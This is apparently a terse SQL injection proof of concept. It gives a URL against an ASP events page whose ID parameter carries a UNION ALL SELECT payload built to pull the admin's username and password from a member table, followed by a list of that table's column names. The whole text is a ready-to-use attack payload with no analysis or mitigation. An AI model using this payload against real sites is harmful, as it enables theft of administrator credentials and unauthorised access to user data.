http://www.example.com/events.asp?ID=-1 union all select 1,1,1,'Username= '%2bmember_name%2b'
Password= '%2bmember_password,1,1,1,1,1,1,1 from tbl_Members where member_name = 'admin'
UserName:
EMail:
-------------
ID
Member_Cookies
Member_SystemCookies
Member_Center
Member_EmailTheadResponse
Member_EmailPostResponse
Member_WeekStart
Member_ThreadDays
Member_ThreadView
Member_Invisible
Member_HiddenEmail
Member_ReceivePM
Member_PMEmailNotice
Member_PMPopup
Member_Newsletter
Member_TimeZone
Member_DefaultColor